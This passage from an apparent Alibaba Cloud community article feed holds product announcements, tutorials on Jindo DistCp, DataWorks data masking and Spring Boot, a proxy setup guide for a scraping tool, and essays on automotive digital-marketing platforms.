      阿里云发布“快照极速可用”功能,其是基于盘古2.0机制的快照服务,备份速度快如闪电,能够在数秒内完成快照创建、云盘回滚操作,将业务等待时间缩短至秒级别。目前“快照极速可用”功能已经全地域上线,支持所有ESSD系列云盘规格。

      2、HBR快照管理 – 可视化界面全面提升用户体验

       HBR在阿里云上首次推出可视化快照管理功能,ECS视角的全新跑道式快照点直观呈现,使用情况一目了然,极简操作步骤,快速搭建测试开发和数据分析环境,全面提升客户体验。目前该功能免费开放,欢迎大家来体验不一样的数据保护方式。
      

      3、文件存储CPFS升级,专为高性能场景打造
      阿里云文件存储CPFS性能升级,拥有百GB/s的吞吐和百万IOPS,专为HPC高性能计算和AI深度学习打造,同时拥有丰富的企业特性、云上云下混合云架构,帮助高性能计算业务快速上云。

      4、混合云存储阵列软硬件全面升级,性能翻番
      混合云存储阵列软硬件全面升级,在价格不变的基础上,实现了性能翻倍。它将云存储的高性价比和高可扩展性与本地数据中心架构相结合,以更优的性价比帮助客户轻松实现数据在本地数据中心和公共云之间的无缝流动。

      5、表格存储索引全面升级,为用户提供极致计算分析体验
      表格存储发布支持计算引擎如Spark访问索引加速,相比于传统的NoSQL数据存储,提供的索引加速能力提升10-100倍计算速度。让用户能够更实时把握业务情况,挖掘数据价值。

      6、日志服务数据加工与投递服务发布,提供开箱即用的数据ETL和流转能力
      日志服务SLS数据加工和数据投递商业化发布,内置多种加工函数和算子,秒级延迟,一键配置多种数据投递目标,任务可监控可告警,提供开箱即用的数据ETL和流转能力,帮助客户从传统ETL方案数天或数月的搭建和调试中释放,更好地专注业务。

      7、内容分发解决方案,助力企业业务出海
      阿里云对象存储OSS联手阿里云CDN在海外region推出内容分发+源站存储低成本解决方案,这是阿里云OSS在继与海外知名CDN厂商Cloudflare合作以来,更进一步地扩大了对OSS海外用户的福利策略,同时结合OSS传输加速功能,全面提升跨境访问能力,助力企业扬帆出海 。

      阿里云存储,经过十年的技术升级与产品打磨,致力于帮助企业打破数据存储和流通的边界,满足不同企业的多样化需求,为企业数字化转型提供数据核心价值。

      ]]>
      再出王牌:阿里云 Jindo DistCp 全面开放使用,成为阿里云数据迁移利器 Fri, 02 May 2025 09:39:04 +0800 作者:王涛,花名扬礼,阿里巴巴计算平台事业部 EMR 开发工程师. 目前从事开源大数据存储计算方面的开发和优化工作。


      随着阿里云JindoFS SDK的全面放开使用,基于JindoFS SDK的阿里云数据迁移利器Jindo DistCp现在也全面面向用户开放使用。Jindo DistCp是阿里云E-MapReduce团队开发的大规模集群内部和集群之间分布式文件拷贝的工具。其使用MapReduce实现文件分发,错误处理和恢复,把文件和目录的列表作为map/reduce任务的输入,每个任务会完成源列表中部分文件的拷贝。目前全量支持hdfs->oss,hdfs->hdfs,oss->hdfs,oss->oss的数据拷贝场景,提供多种个性化拷贝参数和多种拷贝策略。重点优化hdfs到oss的数据拷贝,通过定制化CopyCommitter,实现No-Rename拷贝,并保证数据拷贝落地的一致性。功能全量对齐S3 DistCp和HDFS DistCp,性能较HDFS DistCp有较大提升,目标提供高效、稳定、安全的数据拷贝工具。本文主要介绍如何使用Jindo DistCp来进行基本文件拷贝,以及如何在不同场景下提高数据拷贝性能。值得一提的是,此前 Jindo DistCp 仅限于E-MapReduce产品内部使用,此次全方位面向整个阿里云OSS/HDFS用户放开,并提供官方维护和支持技术,欢迎广大用户集成和使用。

      大数据和数据迁移工具

      在传统大数据领域,我们经常使用HDFS作为底层存储,并且在HDFS存储大规模的数据。在进行数据迁移、数据拷贝的场景中,大家选择最常用的是Hadoop自带的DistCp工具,但是其不能很好利用对象存储系统如OSS的特性,导致效率低下并且不能最终保证一致性,提供的功能选项也比较简单,不能很好的满足用户的需求。此时一个高效、功能丰富的数据迁移工具成为影响软件搬栈、业务上云的重要影响因素。

      Hadoop DistCp

      Hadoop DistCp是Hadoop集成的分布式数据迁移工具,提供了基本文件拷贝、覆盖拷贝、指定map并行度、log输出路径等功能。在Hadoop2x上对DistCp进行了部分优化例如拷贝策略的选择,默认使用 uniformsize(每个 map 会平衡文件大小)如果指定 dynamic,则会使用 DynamicInputFormat。这些功能优化了普通hdfs间数据拷贝,但是对于对象存储系统如OSS缺少数据写入方面的优化。

      S3 DistCp

      S3 DistCp是AWS为S3提供的distcp工具, S3DistCp是Hadoop DistCp 的扩展,它进行了优化使得其可以和S3结合使用,并新增了一些实用功能。新增功能如增量复制文件、复制文件时指定压缩方式、根据模式进行数据聚合、按照文件清单进行拷贝等。S3 DistCp依靠S3对象存储系统,目前只能在AWS EMR内部使用,并不开放给普通用户。

      Jindo DistCp

      Jindo DistCp是一个简单易用的分布式文件拷贝工具,目前主要用在E-Mapreduce集群内,主要提供hdfs到OSS的数据迁移服务,相比于Hadoop DistCp和S3 DistCp,Jindo DistCp做了很多优化以及新增了许多个性化功能,并且深度结合OSS对象存储的特性,定制化CopyCommitter,实现No-Rename拷贝,大大缩短上云数据迁移时间消耗。现在Jindo DistCp对外开放使用,我们可以使用该功能来进行上云数据迁移,获得OSS数据迁移利器。

      为什么使用 Jindo DistCp?

      1、效率高,在测试场景中最高可到1.59倍的加速。
      2、基本功能丰富,提供多种拷贝方式和场景优化策略。
      3、深度结合OSS,对文件提供直接归档和低频、压缩等操作。
      4、实现No-Rename拷贝,保证数据一致性。
      5、场景全面,可完全替代Hadoop DistCp,支持多Hadoop版本(如有问题可提issue)

      Jindo DistCp 兼容性如何?

      Jindo DistCp目前支持Hadoop2.7+和最新的Hadoop3.x,以两个不同的jar形式提供服务,依赖Hadoop环境并且不会和Hadoop DistCp产生冲突。在阿里云EMR内部可直接提供Jindo DistCp的服务,用户无需进行jar包下载。用户下载jar包后,再通过参数或者Hadoop配置文件配上oss的AK即可使用。

      使用 Jindo DistCp 性能提升多少?

      我们做了一个Jindo DistCp和Hadoop DistCp的性能对比,在这个测试中我们以hdfs到oss为主要场景,利用Hadoop自带的测试数据集TestDFSIO分别生成1000个10M、1000个500M、1000个1G大小的文件进行从hdfs拷贝数据到oss上的测试过程。

      截屏2020-07-14 下午6.41.02.png
      45.png

      分析测试结果,可以看出Jindo DistCp相比Hadoop DistCp具有较大的性能提升,在测试场景中最高可达到1.59倍加速效果。

      使用工具包

      1. 下载jar包

      我们去github repo下载最新的jar包 jindo-distcp-x.x.x.jar
      注意:目前Jar包只支持Linux、MacOS操作系统,因为SDK底层采用了native代码。

      2. 配置OSS访问AK

      您可以在命令中使用程序执行时指定--key、--secret、--endPoint参数选项来指定AK。

      示例命令如下:

      hadoop jar jindo-distcp-2.7.3.jar --src /data/incoming/hourly_table --dest oss://yang-hhht/hourly_table --key yourkey --secret yoursecret --endPoint oss-cn-hangzhou.aliyuncs.com

      您也可以将oss的ak、secret、endpoint预先配置在 hadoop的 core-site.xml 文件里 ,避免每次使用时临时填写ak。

      <configuration>
          <property>
              <name>fs.jfs.cache.oss-accessKeyId</name>
              <value>xxx</value>
          </property>
          <property>
              <name>fs.jfs.cache.oss-accessKeySecret</name>
              <value>xxx</value>
          </property>
          <property>
              <name>fs.jfs.cache.oss-endpoint</name>
              <value>oss-cn-xxx.aliyuncs.com</value>
          </property>
      </configuration>

      另外,我们推荐配置免密功能,避免明文保存accessKey,提高安全性。

      使用手册

      Jindo DistCp提供多种实用功能及其对应的参数选择,下面介绍参数含义及其示例

      截屏2020-07-14 下午6.53.08.png
      截屏2020-07-14 下午6.53.32.png

      截屏2020-07-14 下午6.53.50.png

      更多详细使用细节,请参考Jindo DistCp使用指南

      联系我们

      Jindo DistCp还在日益完善,后续会不断根据用户需求进行优化。欢迎大家下载使用Jindo DistCp,如果遇到任何问题,请随时联系阿里云E-Mapreduce团队,或者在github上提交issue,我们将尽快为您解答。


      相关阅读

      重磅:阿里云 JindoFS SDK 全面开放使用,OSS 文件各项操作性能得到大幅提升

      JindoFS - 分层存储

      EMR Spark-SQL性能极致优化揭秘 Native Codegen Framework

      Jindo SQL 性能优化之 RuntimeFilter Plus

      JindoFS: 云上大数据的高性能数据湖存储方案

      JindoFS概述:云原生的大数据计算存储分离方案

      JindoFS解析 - 云上大数据高性能数据湖存储方案


      后续我们也会在云栖社区和钉钉群分享更多的 Jindo 技术干货,欢迎有兴趣的同学加入 【阿里云EMR钉钉群】进行交流和技术分享。
      产品群.JPG

      ]]>
      从0到1搭建车企数字化营销中台(2):什么是数字化营销 Fri, 02 May 2025 09:39:04 +0800 数字化的核心要素为:
      1)获取:针对某一个自然或社会现象来获取有关于它的信息
      2)表达:用某一种表达方式来表达所获得的信息
      3)存储:把表达好的信息存储在某一种物理媒体上
      4)传输:用某一种传送机制来传输信息
      5)处理:将信息通过计算来进行针对性的处理
      6)交付:将处理好的信息交付给端点来达到目的

      根据杰罗姆·麦卡锡在《基础营销学》下的定义:营销是指某一组织为满足顾客而从事的一系列活动。

      顾名思义,数字化营销是使用数字化通路来满足客户需求的一系列活动。

      整个营销活动可以分为以下几个步骤:
      1)洞察客户需求
      2)识别客户
      3)客户建立连接并触达客户
      4)与客户沟通与互动
      5)满足客户需求促成转化
      6)激励并放大客户价值

      将营销活动的6个动作进行数字化,总结出4大数字化营销模型:
      1)数字化识别与洞察:客户ID归一识别,个人行为数字化后全方位洞察;
      2)数字化触达与连接:数字化让用户行为发生着巨大变化,也驱动着企业与用户的连接方式发生转变,新兴触点层出不穷,全渠道连接和触达必不可少;
      3)数字化沟通与互动:数字化加速,各种沟通和互动方式层出不穷,文字、语音、视频等内容全渠道击穿,传递关系价值而非交易价值:
      4)数字化转化与激励:不止于交易,更关注经营用户网络,建立可持续关系,放大用户价值

      结合这4大数字化营销模型,车企的数字化营销平台该怎么设计呢?下篇文章将总点介绍车企的数字化营销平台的产品架构。

      作者:赵松,微信公众号:松果子聊数字化,数跑科技营销增长平台产品线负责人、阿里云大数据MVP,前阿里影业数据产品专家,7年数字化从业经历。

      ]]>
      从0到1搭建车企数字化营销中台(3):产品定义 Fri, 02 May 2025 09:39:04 +0800 1、产品概述
      基于轻量级双中台(业务中台和数据中台)构建的客户运营平台、粉丝互动平台、营销推广平台和数据洞察平台共同组成了整个车企的数字化营销中台,为客户提供全渠道、全旅程的个性化营销体验。

      2、产品架构
      数字化营销中台由运营前台和轻量级双中台组成,运营前台主要包含:客户运营、粉丝互动、营销推广、数据洞察四个部分;轻量级双中台主要包含轻量级业务中台和轻量级数据中台,轻量级业务中台由泛会员、活动中心、内容中心、营销自动化组成,轻量级数据中台主要指客户数据平台(CDP),如下图所示。

      产品架构22.png

      1、运营前台:
      1) 客户运营:客户运营主要提供人群运营、场景营销、客户洞察和客户管理等功能,实现客户的全渠道全生命周期的持续运营;
      2) 粉丝互动:粉丝互动主要提供粉丝管理、互动管理、群发管理、授权管理等功能,通过接入新的互动媒体渠道,实现新媒体矩阵营销,实现存量粉丝激活,统一互动;
      3) 营销推广:营销推广主要提供广告授权管理、广告数据接入、投放渠道接入等功能,通过将公域广告投放数据和私域数据打通,实现客户转化数据的全链路跟踪;
      4) 数据洞察:数据大盘主要提供转化漏斗、用户分析、专题分析、ROI分析等功能,实现用户运营指标和销售全链路指标可视化展现及洞察分析;

      2、轻量级双中台:
      轻量级业务中台:

      1)泛会员:建立一套完整的会员忠诚度体系,结合积分和卡券权益激励,持续提升用户忠诚度。
      2)活动中心:通过丰富的活动工具快速构建活动,结合细分的活动人群,从合适的渠道触达客户;激活客户,增强粘性。
      3)内容中心:统一管理营销内容,保持营销内容的一致性和标志性;同时提供标准组件模板快速构建营销内容。
      4)营销自动化:对营销渠道和广告位进行统一管理,让投放精准有序、可控、可溯源;同时提供高效的营销自动化规则引擎,把营销人员从重复体力劳动中释放出来,聚焦营销场景设计。

      轻量级数据中台:

       轻量级数据中台主要指只覆盖客户域的数据中台,这里指客户数据平台(CDP);
      客户数据平台:全旅程采集客户行为和业务数据,对数据进行清洗、归集、建模后形成丰富的标签画像;洞察客户,形成细分人群,驱动千人千面的个性化精准营销。
      

      作者:赵松,微信公众号:松果子聊数字化,数跑科技营销增长平台产品线负责人、阿里云大数据MVP,前阿里影业数据产品专家,7年数字化从业经历。

      ]]>
      从0到1搭建车企数字化营销中台(4):客户数据平台(CDP) Fri, 02 May 2025 09:39:04 +0800 客户数据平台(CDP)在数字化营销过程中起着核心驱动作用,通过打通客户全渠道、全旅程触点数据,形成基于客户全旅程的数据链路,通过数据建模实现对客户的全方位洞察,并形成用户分层运营的策略,指导运营计划的精准实施,在什么时间,什么渠道,针对什么人群,推送什么权益钩子,实现精准转化,最大化营销ROI。

      业务架构.png

      1、CDP的定义
      广义的CDP是一个营销系统,它统一企业来自营销或其他渠道的客户数据,以实现客户建模、优化客户体验的目标。狭义的CDP是整合来自多个不同来源的数据,为客户洞察和交互提供数据支持;

      2、CDP的架构
      CDP基于轻量级的数据中台,主要包含源数据层、计算层、OneData(统一建模)、OneID(客户标签)、OneService(统一数据服务)、应用层。

      CDP.png

      源数据层:主要包含客户一方、二方和三方数据,一方数据主要指客户自有业务数据,如APP数据、线索数据、DMS(经销商管理系统)数据、销售助手数据等;二方数据主要指公域广告投放回流数据和DMP相关数据;三方数据主要是指主机厂外部合作的数据;
      计算层:主要基于阿里云的大数据平台Dataworks,包含数据集成、数据开发、数据运维、数据质量、数据安全等;底层计算引擎为Maxcompute和实时计算Flink;
      OneData(统一建模):主要基于维度建模理论进行数仓健身,进行ODS(源数据层)、DWD(明细数据层)、DWS(主题数据层)、ADS(应用数据层)数据分层,主要包含会员、行为、消费、活动、客户、线索六大主题域数据模型;
      OneID(客户标签):通过ID-mapping生成客户归一ID,基于oneid进行客户标签萃取,形成10大类标签:人口属性、设备属性、位置属性、客户属性、会员属性、行为属性、活动属性、消费属性、内容属性和社交属性;
      OneService(统一数据服务):统一提供离线和实时数据服务,统一口径,统一出口,统一鉴权;
      应用层:主要包含客户洞察、客户360视图、人群细分和标签管理
      1)客户洞察:主要为全旅程分析、RFM分析、人群分析等
      2)客户360视图:根据客户10大类属性100+标签形成客户360度画像;
      3)人群细分:主要为人群圈选、人群组合、人群管理;
      4)标签管理:主要为标签上下架、系统标签、分层标签;

      3、CDP的价值
      CDP围绕数字化营销的数字化,长期价值为多方化、资产化、智能化、安全化;
      多方化:集成一方数据,打通二方数据,利用三方数据,通过一、二、三方数据扩展客户维度,形成对客户更加精准的洞察;
      资产化:通过自动化的标签加工方式不断的将客户数据转化数据资产;
      智能化:围绕数字化营销,利用机器学习算法不断沉淀相关营销模型以达到增长的目标,如AIPL模型、RFM模型、购车意愿模型、车型偏好模型等;
      安全化:打造可信安全的客户数据平台是数字化营销中台的基石,通过数据加密、隐私计算、多方计算实现数据安全和隐私保护。

      CDP的价值.png

      作者:赵松,微信公众号:松果子聊数字化,数跑科技营销增长平台产品线负责人、阿里云大数据MVP,前阿里影业数据产品专家,7年数字化从业经历。

      ]]>
      阿里云ECS云服务器规格适用场景对照表 Fri, 02 May 2025 09:39:04 +0800 阿里云ECS云服务器分为多种实例规格,如通用型、计算型、高主频型、共享型、异构GPU型及裸金属服务器等规格,ECS云服务器规格的选择根据实际使用场景选择,服务器教程网分享ECS实例规格适用场景说明表:

      ECS云服务器实例规格使用场景对照

      阿里云ECS云服务器实例规格可以分为以下多种规格:

      • x86计算:通用型、计算型、内存型、大数据型、本地SSD、高主频及共享型等;
      • 异构计算GPU/FPGA/NPU:GPU计算型、GPU虚拟化型、FPGA计算型、NPU计算型;
      • 弹性裸金属服务器(神龙):CPU型、GPU型;
      • 超级计算集群:CPU型、GPU型。

      大家可以参考下方实际应用场景选择对应的ECS实例规格:

      通用型 通用型 通用型 通用型 通用型 通用型 异构计算 异构计算 裸金属/高性能计算
      通用型g6/g5、通用网络增强sn2ne 计算型c6/c5、计算网络增强型sn1ne 内存型r6/r5、内存增强型re6、内存增强型se1ne、内存型se1 高主频hfc6/hfg6/hfr6/hfc5/hfg5 本地SSD l2/l2g/l2ne/l2gne/l1 大数据型 d2s/d1ne/d1 GPU计算型gn6i/gn6v/gn6e/gn5、轻量级GPU计算型vgn6i FPGA计算型f3/f1 弹性裸金属ebm、超级计算集群scc、弹性高性能计算e-hpc
      中小型数据库 数据处理任务 企业后台应用 高性能网 前端节点 Web服务器 批量计算 分布式分析 对战类游戏 高性能科学 工程类应用 平台广告 视频编解码 高性能数据库 数据挖掘和分析 Redis、Memcached等缓存 内存型数据库 高性能科学计算 高性能前端节点 关系型数据库 NoSQL数据库 数据仓库 内存型数据库 Hadoop/Spark集群(实时) MapReduce分布式计算 Hadoop/Spark 分布式文件系统 日志和数据处理 AI深度学习 视频处理 图形可视化 科学计算 基因组学研究 视频编解码 图像转码 金融分析 高性能数据库 高性能网站前端节点 数据处理任务 企业后台应用 高性能计算 科学计算

      大家根据实际应用场景选择对应的ECS实例规格,关于ECS云服务器实例规格CPU、内存、网络性能等参数,可以参考官方文档:ECS云服务器实例详解 - 阿里云

      ]]>
      火车头采集器如何设置http代理数据采集 Fri, 02 May 2025 09:39:04 +0800 一、百度搜索“快鸟代理ip”,登录已注册的账号;点击“获取代理IP”,在“获取代理IP”界面设置好相关参数;点击“生成API链接”,然后点击“复制链接”按钮;

      二、打开“火车头采集器”软件,登录后点击“http二级代理”按钮;

      Snipaste_2020-07-10_19-10-36.png

      三、弹出“http二级代理”窗口,选择“商业代理”选项卡;

      Snipaste_2020-07-10_19-11-22.png

      四、在“请求网址”文本框上粘贴刚刚复制的提取代理IP链接,点击“测试获取代理ip”按钮;

      Snipaste_2020-07-10_19-12-42.png

      五、点击“启动代理”按钮;

      Snipaste_2020-07-10_19-13-00.png

      ]]>
      DataWorks百问百答41:DataWorks上如何保护敏感数据? Fri, 02 May 2025 09:39:04 +0800 在企业的运营过程中,会产生大量的数据,其中有一部分是企业的核心数据资产,比如客户数据、企业运营数据、成本数据等等,这部分高价值的数据需要得到合理的保护。DataWorks作为一款企业级的大数据开发平台,在数据安全方面与蚂蚁金服的数据安全团队合作,为您做到金融级别的安全防护。下面演示一下如何使用DataWorks的数据保护伞模块,通过数据脱敏,完成敏感数据的保护。

      定义数据安全等级

      在保护敏感数据前,我们需要站在管理视角,先定义好敏感等级,便于对数据进行分级管控。在数据保护伞>规则配置>分级信息管理中,可以定义全局的分级管理策略,等级越高的数据,安全等级越高,目前可定义的最高安全等级是9级。
      image.png

      定义敏感数据

      在定义完数据安全等级后,需要定义敏感数据,并与数据安全等级绑定。
      image.png

      在数据保护伞 > 规则配置 > 数据识别规则中,点击新建规则。在新建识别规则的过程中,会经历三个步骤:配置基本信息、配置规则、配置预览。我这里数据类型选择的是自定义添加,类型名称为用户画像;数据名称选择自定义添加,名称为用户手机号;规则责任人是我当前账号名称。
      image.png

      点击下一步,进入配置规则;选择数据安全等级,并进行绑定;绑定后到了本规则的核心配置,设置数据识别规则。此处选择的是内容扫描,通过正则匹配的方式,将匹配上的数据,打标为敏感数据。

      image.png

      注意:若选择字段扫描,输入格式为project.table.column,其中任意一段都可以同*作为通配符。

      数据识别规则配置完成后,点击下一步,进入配置预览界面,预览无误后,可点击保存或保存并生效。
      image.png
      配置完成后,可在数据识别规则列表中查看。
      image.png

      设置脱敏规则

      当敏感数据定义完成后,可设置数据脱敏规则,来保护敏感数据。在数据保护伞 > 规则配置 > 数据脱敏管理中,点击新建规则,需选择脱敏规则、负责人、脱敏方式等信息,设置完成后,点击确认。
      image.png

      目前脱敏方式支持2种,hash和掩盖。

      完成脱敏规则新建后,需打开规则状态。
      image.png

      验证脱敏

      在验证脱敏前,需要在DataStudio模块数据开发设置中的工作空间配置里,启用页面查询内容脱敏功能。
      image.png

      启用后,进入数据开发界面,找到ODPS SQL节点,写下查询手机号的语句,进行验证。
      image.png

       注意:若查询结果未脱敏,可按如下步骤检查:

      1. 请检查是否未启用页面查询脱敏功能。
      2. 请检查数据识别规则是否启用
      3. 请检查数据脱敏规则是否启用
      4. 请检查,您是否在脱敏规则的白名单中

      DataWorks百问百答历史记录 请点击这里查看>>

      更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

      ]]>
      为什么阿里、头条、美团这些互联网大厂都在用Spring Boot? Fri, 02 May 2025 09:39:04 +0800 前言

      现在各大技术社区 Spring Boot 的文章越来越多,Spring Boot 相关的图文、视频教程越来越多,使用 Spring Boot 的互联网公司也越来越多; Java 程序员现在出去面试, Spring Boot 已经成了必问的内容。

      一切都在证明,Spring Boot 已经成为了 Java 程序员必备的技能。并且可以预见的是未来 Spring Boot 的发展还会更好。

      所以对Java程序员来说其中不乏说对 Spring Boot 非常熟悉的,然后当问到一些 Spring Boot 核心功能和原理的时候,没人能说得上来,或者说不到点上,可以说一个问题就问趴下了!(问题:你能讲下为什么我们要用 Spring Boot 吗?)

      相信我,上面这些类似的问题,90%有经验的Java程序员超都曾遇见过!但很少有系统化的回答。

      因此,总结了这份Spring Boot核心知识点实战教程,通过这份教程,带你梳理Spring Boot 技术体系。

      文末有彩蛋~

      Spring Boot2教程

      在Spring Boot项目中,正常来说是不存在XML配置,这是因为Spring Boot不推荐使用 XML ,注意,并非不支持,Spring Boot 推荐开发者使用 Java 配置来搭建框架,Spring Boot 中,大量的自动化配置都是通过 Java 配置来实现的,这一套实现方案,我们也可以自己做,即自己也可以使用纯 Java 来搭建一个 SSM 环境,即在项目中,不存在任何 XML 配置,包括 web.xml 。

      环境要求:

      使用纯 Java 来搭建 SSM 环境,要求 Tomcat 的版本必须在 7 以上。

      1、创建工程

      创建一个普通的 Maven工程(注意,这里可以不必创建Web工程),并添加SpringMVC的依赖,同时,这里环境的搭建需要用到 Servlet ,所以我们还需要引入 Servlet 的依赖(一定不能使用低版本的Servlet),最终的 pom.xml 文件如下:

      <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.1.6.RELEASE</version>
      </dependency>
      <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>4.0.1</version>
        <scope>provided</scope>
      </dependency>

      2 、添加 Spring 配置

      工程创建成功之后,首先添加 Spring 的配置文件,如下:

      @Configuration
      @ComponentScan(basePackages = "org.javaboy", useDefaultFilters = true,
      excludeFilters = {@ComponentScan.Filter(type = FilterType.ANNOTATION, classes =
      Controller.class)})
      public class SpringConfig {
      }

      关于这个配置,我说如下几点:

      @Configuration 注解表示这是一个配置类,在我们这里,这个配置的作用类似于applicationContext.xml

      @ComponentScan 注解表示配置包扫描,里边的属性和 xml 配置中的属性都是一一对应的,useDefaultFilters 表示使用默认的过滤器,然后又除去 Controller 注解,即在 Spring 容器中扫描除了 Controller 之外的其他所有 Bean 。

      3、 添加 SpringMVC 配置

      接下来再来创建 springmvc 的配置文件:

      @Configuration
      @ComponentScan(basePackages = "org.javaboy",useDefaultFilters =
      false,includeFilters = {@ComponentScan.Filter(type =
      FilterType.ANNOTATION,classes = Controller.class)})
      public class SpringMVCConfig {
      }

      注意,如果不需要在SpringMVC中添加其他的额外配置,这样就可以了。即视图解析器、JSON解析、文件上传......等等,如果都不需要配置的话,这样就可以了。

      4、配置 web.xml

      此时,我们并没 web.xml 文件,这时,我们可以使用Java代码去代替 web.xml 文件,这里会用到WebApplicationInitializer ,具体定义如下:

      public class WebInit implements WebApplicationInitializer {
        public void onStartup(ServletContext servletContext) throws ServletException
      {
          //首先来加载 SpringMVC 的配置文件
          AnnotationConfigWebApplicationContext ctx = new
      AnnotationConfigWebApplicationContext();
          ctx.register(SpringMVCConfig.class);
          // 添加 DispatcherServlet
          ServletRegistration.Dynamic springmvc =
      servletContext.addServlet("springmvc", new DispatcherServlet(ctx));
          // 给 DispatcherServlet 添加路径映射
          springmvc.addMapping("/");
          // 给 DispatcherServlet 添加启动时机
          springmvc.setLoadOnStartup(1);
       }
      }

      WebInit 的作用类似于 web.xml,这个类需要实现 WebApplicationInitializer 接口,并实现接口中的方法,当项目启动时,onStartup 方法会被自动执行,我们可以在这个方法中做一些项目初始化操作,例如加载 SpringMVC 容器,添加过滤器,添加 Listener、添加 Servlet 等。关注公种浩:程序员追风,回复 005 获取这份整理好的Spring Boot实战教程。

      注意:

      由于我们在WebInit中只是添加了SpringMVC的配置,这样项目在启动时只会去加载SpringMVC容器,而不会去加载 Spring 容器,如果一定要加载 Spring 容器,需要我们修改 SpringMVC 的配置,在SpringMVC 配置的包扫描中也去扫描 @Configuration 注解,进而加载 Spring 容器,还有一种方案可以解决这个问题,就是直接在项目中舍弃 Spring 配置,直接将所有配置放到 SpringMVC 的配置中来完成,这个在 SSM 整合时是没有问题的,在实际开发中,较多采用第二种方案,第二种方案,SpringMVC 的配置如下:

      @Configuration
      @ComponentScan(basePackages = "org.javaboy")
      public class SpringMVCConfig {
      }

      这种方案中,所有的注解都在 SpringMVC 中扫描,采用这种方案的话,则 Spring 的配置文件就可以删除了。

      5、测试

      最后,添加一个 HelloController ,然后启动项目进行测试:

      @RestController
      public class HelloController {
        @GetMapping("/hello")
        public String hello() {
          return "hello";
       }
      }

      启动项目,访问接口,结果如下:

      Spring Boot全局异常处理

      在Spring Boot项目中 ,异常统一处理,可以使用Spring中@ControllerAdvice来统一处理,也可以自己来定义异常处理方案。Spring Boot 中,对异常的处理有一些默认的策略,我们分别来看。

      默认情况下,Spring Boot 中的异常页面 是这样的:

      我们从这个异常提示中,也能看出来,之所以用户看到这个页面,是因为开发者没有明确提供一个/error 路径,如果开发者提供了 /error 路径 ,这个页面就不会展示出来,不过在 Spring Boot 中,提供/error 路径实际上是下下策,Spring Boot本身在处理异常时,也是当所有条件都不满足时,才会去找 /error 路径。那么我们就先来看看,在 Spring Boot 中,如何自定义 error 页面,整体上来说,可以分为两种,一种是静态页面,另一种是动态页面。

      静态异常页面

      自定义静态异常页面,又分为两种,第一种 是使用HTTP响应码来命名页面,例如404.html、405.html、500.html ....,另一种就是直接定义一个 4xx.html,表示400-499 的状态都显示这个异常页面,5xx.html 表示 500-599 的状态显示这个异常页面。

      默认是在 classpath:/static/error/ 路径下定义相关页面:

      此时,启动项目,如果项目抛出 500 请求错误,就会自动展示 500.html 这个页面,发生 404 就会展示404.html 页面。如果异常展示页面既存在 5xx.html,也存在 500.html ,此时,发生500异常时,优先展示 500.html 页面。

      动态异常页面

      动态的异常页面定义方式和静态的基本 一致,可以采用的页面模板有 jsp、freemarker、thymeleaf。

      动态异常页面,也支持 404.html 或者 4xx.html ,但是一般来说,由于动态异常页面可以直接展示异常详细信息,所以就没有必要挨个枚举错误了 ,直接定义 4xx.html(这里使用thymeleaf模板)或者5xx.html 即可。

      注意,动态页面模板,不需要开发者自己去定义控制器,直接定义异常页面即可 ,Spring Boot 中自带的异常处理器会自动查找到异常页面。

      页面定义如下:

      页面内容如下:

      <!DOCTYPE html>
      <html lang="en" xmlns:th="http://www.thymeleaf.org">
      <head>
        <meta charset="UTF-8">
        <title>Title</title>
      </head>
      <body>
      <h1>5xx</h1>
      <table border="1">
        <tr>
          <td>path</td>
          <td th:text="${path}"></td>
        </tr>
        <tr>
          <td>error</td>
          <td th:text="${error}"></td>
        </tr>
        <tr>
          <td>message</td>
          <td th:text="${message}"></td>
        </tr>
        <tr>
          <td>timestamp</td>
          <td th:text="${timestamp}"></td>
        </tr>
        <tr>
          <td>status</td>
          <td th:text="${status}"></td>
        </tr>
      </table>
      </body>
      </html>

      默认情况下,完整的异常信息就是这5条,展示 效果如下 :

      如果动态页面和静态页面同时定义了异常处理页面,例如 classpath:/static/error/404.html 和classpath:/templates/error/404.html 同时存在时,默认使用动态页面。即完整的错误页面查找

      方式应该是这样:

      发生了 500 错误-->查找动态 500.html 页面-->查找静态 500.html --> 查找动态 5xx.html-->查找静态5xx.html。

      自定义异常数据

      默认情况下,在 Spring Boot 中,所有的异常数据其实就是上文所展示出来的 5 条数据,这 5 条数据定义在 org.springframework.boot.web.reactive.error.DefaultErrorAttributes 类中,具体定义在 getErrorAttributes 方法中 :

      public Map<String, Object> getErrorAttributes(ServerRequest request,
              boolean includeStackTrace) {
          Map<String, Object> errorAttributes = new LinkedHashMap<>();
          errorAttributes.put("timestamp", new Date());
          errorAttributes.put("path", request.path());
          Throwable error = getError(request);
          HttpStatus errorStatus = determineHttpStatus(error);
          errorAttributes.put("status", errorStatus.value());
          errorAttributes.put("error", errorStatus.getReasonPhrase());
          errorAttributes.put("message", determineMessage(error));
          handleException(errorAttributes, determineException(error),
      includeStackTrace);
          return errorAttributes;
      }

      DefaultErrorAttributes 类本身则是在

      org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration 异常自动配置类中定义的,如果开发者没有自己提供一个 ErrorAttributes 的实例的话,那么 Spring Boot 将自动提供一个 ErrorAttributes 的实例,也就是 DefaultErrorAttributes 。

      基于此 ,开发者自定义 ErrorAttributes 有两种方式 :

      1. 直接实现 ErrorAttributes 接口

      2. 继承 DefaultErrorAttributes(推荐),因为 DefaultErrorAttributes 中对异常数据的处理已经完成,开发者可以直接使用。

      具体定义如下:

      @Component
      public class MyErrorAttributes  extends DefaultErrorAttributes {
        @Override
        public Map<String, Object> getErrorAttributes(WebRequest webRequest, boolean
      includeStackTrace) {
          Map<String, Object> map = super.getErrorAttributes(webRequest,
      includeStackTrace);
          if ((Integer)map.get("status") == 500) {
            map.put("message", "服务器内部错误!");
         }
          return map;
       }
      }

      定义好的 ErrorAttributes 一定要注册成一个 Bean ,这样,Spring Boot 就不会使用默认的DefaultErrorAttributes 了,运行效果如下图:

      自定义异常视图

      异常视图默认就是前面所说的静态或者动态页面,这个也是可以自定义的,首先 ,默认的异常视图加载逻辑在 org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController 类的errorHtml 方法中,这个方法用来返回异常页面+数据,还有另外一个 error 方法,这个方法用来返回异常数据(如果是 ajax 请求,则该方法会被触发)。

      @RequestMapping(produces = MediaType.TEXT_HTML_VALUE)
